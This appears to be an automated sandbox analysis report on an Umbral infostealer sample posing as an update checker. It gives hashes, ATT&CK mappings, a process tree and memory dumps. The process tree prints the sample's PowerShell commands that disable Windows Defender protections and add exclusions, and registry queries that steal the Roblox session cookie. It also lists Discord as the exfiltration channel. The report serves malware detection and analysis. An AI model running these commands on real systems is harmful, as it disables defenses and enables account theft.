umbral | 4b64b08789791f49a88c79ad4c0eae5628fe7547489f958312f53c95f23403ff

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
12-08-2024 09:36

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General

Target

citrontoppest/citrontoppest/updatechecker/updatecheckercitron.exe
Size

227KB
MD5

a6db1722b4ed09cd06fbdf6f80df47da
SHA1

1fe86fceb4884cb37c4187591ccecd7a4c4d9c15
SHA256

ed1deb13b32c20b6cd35d50351c78d3729315dac5da6f5795dae2c14bed8520b
SHA512

61542031f6f60fca814400c9ec21c0eefa15422646c30b5b3192231a4d5a5845681f7d619818fa0c7c448f860101790d7971c80aa90637e58956b33023079785
SSDEEP

6144:+loZMLrIkd8g+EtXHkv/iD4cYiL+cCFdWQj+ctBIpHb8e1mUi:ooZ0L+EP8cYiL+cCFdWQj+ctBIhK

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral7/memory/2544-1-0x00000000000C0000-0x0000000000100000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1368	powershell.exe
2036	powershell.exe
1080	powershell.exe
1148	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	updatecheckercitron.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	discord.com
11	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1236	wmic.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2544	updatecheckercitron.exe
1368	powershell.exe
2036	powershell.exe
1080	powershell.exe
496	powershell.exe
1148	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	updatecheckercitron.exe
Token: SeIncreaseQuotaPrivilege	2664	wmic.exe
Token: SeSecurityPrivilege	2664	wmic.exe
Token: SeTakeOwnershipPrivilege	2664	wmic.exe
Token: SeLoadDriverPrivilege	2664	wmic.exe
Token: SeSystemProfilePrivilege	2664	wmic.exe
Token: SeSystemtimePrivilege	2664	wmic.exe
Token: SeProfSingleProcessPrivilege	2664	wmic.exe
Token: SeIncBasePriorityPrivilege	2664	wmic.exe
Token: SeCreatePagefilePrivilege	2664	wmic.exe
Token: SeBackupPrivilege	2664	wmic.exe
Token: SeRestorePrivilege	2664	wmic.exe
Token: SeShutdownPrivilege	2664	wmic.exe
Token: SeDebugPrivilege	2664	wmic.exe
Token: SeSystemEnvironmentPrivilege	2664	wmic.exe
Token: SeRemoteShutdownPrivilege	2664	wmic.exe
Token: SeUndockPrivilege	2664	wmic.exe
Token: SeManageVolumePrivilege	2664	wmic.exe
Token: 33	2664	wmic.exe
Token: 34	2664	wmic.exe
Token: 35	2664	wmic.exe
Token: SeIncreaseQuotaPrivilege	2664	wmic.exe
Token: SeSecurityPrivilege	2664	wmic.exe
Token: SeTakeOwnershipPrivilege	2664	wmic.exe
Token: SeLoadDriverPrivilege	2664	wmic.exe
Token: SeSystemProfilePrivilege	2664	wmic.exe
Token: SeSystemtimePrivilege	2664	wmic.exe
Token: SeProfSingleProcessPrivilege	2664	wmic.exe
Token: SeIncBasePriorityPrivilege	2664	wmic.exe
Token: SeCreatePagefilePrivilege	2664	wmic.exe
Token: SeBackupPrivilege	2664	wmic.exe
Token: SeRestorePrivilege	2664	wmic.exe
Token: SeShutdownPrivilege	2664	wmic.exe
Token: SeDebugPrivilege	2664	wmic.exe
Token: SeSystemEnvironmentPrivilege	2664	wmic.exe
Token: SeRemoteShutdownPrivilege	2664	wmic.exe
Token: SeUndockPrivilege	2664	wmic.exe
Token: SeManageVolumePrivilege	2664	wmic.exe
Token: 33	2664	wmic.exe
Token: 34	2664	wmic.exe
Token: 35	2664	wmic.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	496	powershell.exe
Token: SeIncreaseQuotaPrivilege	1492	wmic.exe
Token: SeSecurityPrivilege	1492	wmic.exe
Token: SeTakeOwnershipPrivilege	1492	wmic.exe
Token: SeLoadDriverPrivilege	1492	wmic.exe
Token: SeSystemProfilePrivilege	1492	wmic.exe
Token: SeSystemtimePrivilege	1492	wmic.exe
Token: SeProfSingleProcessPrivilege	1492	wmic.exe
Token: SeIncBasePriorityPrivilege	1492	wmic.exe
Token: SeCreatePagefilePrivilege	1492	wmic.exe
Token: SeBackupPrivilege	1492	wmic.exe
Token: SeRestorePrivilege	1492	wmic.exe
Token: SeShutdownPrivilege	1492	wmic.exe
Token: SeDebugPrivilege	1492	wmic.exe
Token: SeSystemEnvironmentPrivilege	1492	wmic.exe
Token: SeRemoteShutdownPrivilege	1492	wmic.exe
Token: SeUndockPrivilege	1492	wmic.exe
Token: SeManageVolumePrivilege	1492	wmic.exe
Token: 33	1492	wmic.exe
Token: 34	1492	wmic.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 2664	2544	updatecheckercitron.exe	31
PID 2544 wrote to memory of 2664	2544	updatecheckercitron.exe	31
PID 2544 wrote to memory of 2664	2544	updatecheckercitron.exe	31
PID 2544 wrote to memory of 1368	2544	updatecheckercitron.exe	34
PID 2544 wrote to memory of 1368	2544	updatecheckercitron.exe	34
PID 2544 wrote to memory of 1368	2544	updatecheckercitron.exe	34
PID 2544 wrote to memory of 2036	2544	updatecheckercitron.exe	36
PID 2544 wrote to memory of 2036	2544	updatecheckercitron.exe	36
PID 2544 wrote to memory of 2036	2544	updatecheckercitron.exe	36
PID 2544 wrote to memory of 1080	2544	updatecheckercitron.exe	38
PID 2544 wrote to memory of 1080	2544	updatecheckercitron.exe	38
PID 2544 wrote to memory of 1080	2544	updatecheckercitron.exe	38
PID 2544 wrote to memory of 496	2544	updatecheckercitron.exe	40
PID 2544 wrote to memory of 496	2544	updatecheckercitron.exe	40
PID 2544 wrote to memory of 496	2544	updatecheckercitron.exe	40
PID 2544 wrote to memory of 1492	2544	updatecheckercitron.exe	42
PID 2544 wrote to memory of 1492	2544	updatecheckercitron.exe	42
PID 2544 wrote to memory of 1492	2544	updatecheckercitron.exe	42
PID 2544 wrote to memory of 2404	2544	updatecheckercitron.exe	44
PID 2544 wrote to memory of 2404	2544	updatecheckercitron.exe	44
PID 2544 wrote to memory of 2404	2544	updatecheckercitron.exe	44
PID 2544 wrote to memory of 2296	2544	updatecheckercitron.exe	46
PID 2544 wrote to memory of 2296	2544	updatecheckercitron.exe	46
PID 2544 wrote to memory of 2296	2544	updatecheckercitron.exe	46
PID 2544 wrote to memory of 1148	2544	updatecheckercitron.exe	48
PID 2544 wrote to memory of 1148	2544	updatecheckercitron.exe	48
PID 2544 wrote to memory of 1148	2544	updatecheckercitron.exe	48
PID 2544 wrote to memory of 1236	2544	updatecheckercitron.exe	50
PID 2544 wrote to memory of 1236	2544	updatecheckercitron.exe	50
PID 2544 wrote to memory of 1236	2544	updatecheckercitron.exe	50

C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe
"C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:496
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1492
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2404
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1148
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NXAJEJQ1TB9UM6LBMZPT.temp

Filesize
7KB

MD5
b8f508542864e1268698c78b9b271d6f

SHA1
a6b7f0b58537b9a15b3b871e50c0a86c3fd00deb

SHA256
9027612c5183db4f0e42871d3494af0c972c32796d47c3bb558341115d97477c

SHA512
2a4a4cb02b2a832a2bbfc6babf9c0958e630b0203ec5ba76e7a6a35964c6c575bf9fa5d7d6f9275cf238e4d79061d47a28120993c6886ab8e0f1fbd56f8e9549

Download Submit
memory/1148-45-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/1368-9-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/1368-10-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2036-17-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2036-16-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2544-4-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp

Filesize
9.9MB

Download
memory/2544-3-0x000007FEF57A3000-0x000007FEF57A4000-memory.dmp

Filesize
4KB

Download
memory/2544-0-0x000007FEF57A3000-0x000007FEF57A4000-memory.dmp

Filesize
4KB

Download
memory/2544-2-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp

Filesize
9.9MB

Download
memory/2544-1-0x00000000000C0000-0x0000000000100000-memory.dmp

Filesize
256KB

Download
memory/2544-49-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp

Filesize
9.9MB

Download